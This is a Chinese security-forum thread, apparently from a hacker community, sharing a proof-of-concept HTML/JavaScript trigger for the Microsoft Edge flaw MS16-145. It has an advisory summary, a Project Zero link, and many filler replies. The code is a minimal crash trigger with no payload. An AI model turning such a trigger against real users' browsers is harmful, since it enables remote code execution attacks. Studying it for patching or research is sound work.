请选择 进入手机版 | 继续访问电脑版
查看: 15559|回复: 9841

[Windows] (MS16-145)Microsoft Edge远程代码执行漏洞Exploit

[复制链接]
  • TA的每日心情
    擦汗
    昨天 18:18
  • 签到天数: 623 天

    [LV.9]以坛为家II

    发表于 2016-12-22 15:15:32 | 显示全部楼层 |阅读模式
    执行摘要
    此安全更新程序可修复 Microsoft Edge 中的漏洞。
    如果用户使用 Microsoft Edge 查看经特殊设计的网页,那么其中最严重的漏洞可能允许远程执行代码。
    成功利用这些漏洞的攻击者可以获得与当前用户相同的用户权限。

    https://bugs.chromium.org/p/project-zero/issues/detail?id=961

    Exp:
    [HTML] 纯文本查看 复制代码
    <html><body><script>
        try{
        var v = SIMD.Int32x4(1, 2, 3, 4);
        alert(v.toLocaleString(1, 2, 3, 4, 5, 6, 7));
        }catch(e){
        alert(e.message);
     
    }
    </script></body></html>
    回复

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-12-22 15:28:58 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-22 18:28:43 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-22 19:38:38 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-12-22 19:54:58 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-22 20:10:41 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-22 20:26:56 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-12-22 20:54:25 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-12-22 21:26:32 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-12-22 21:42:40 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表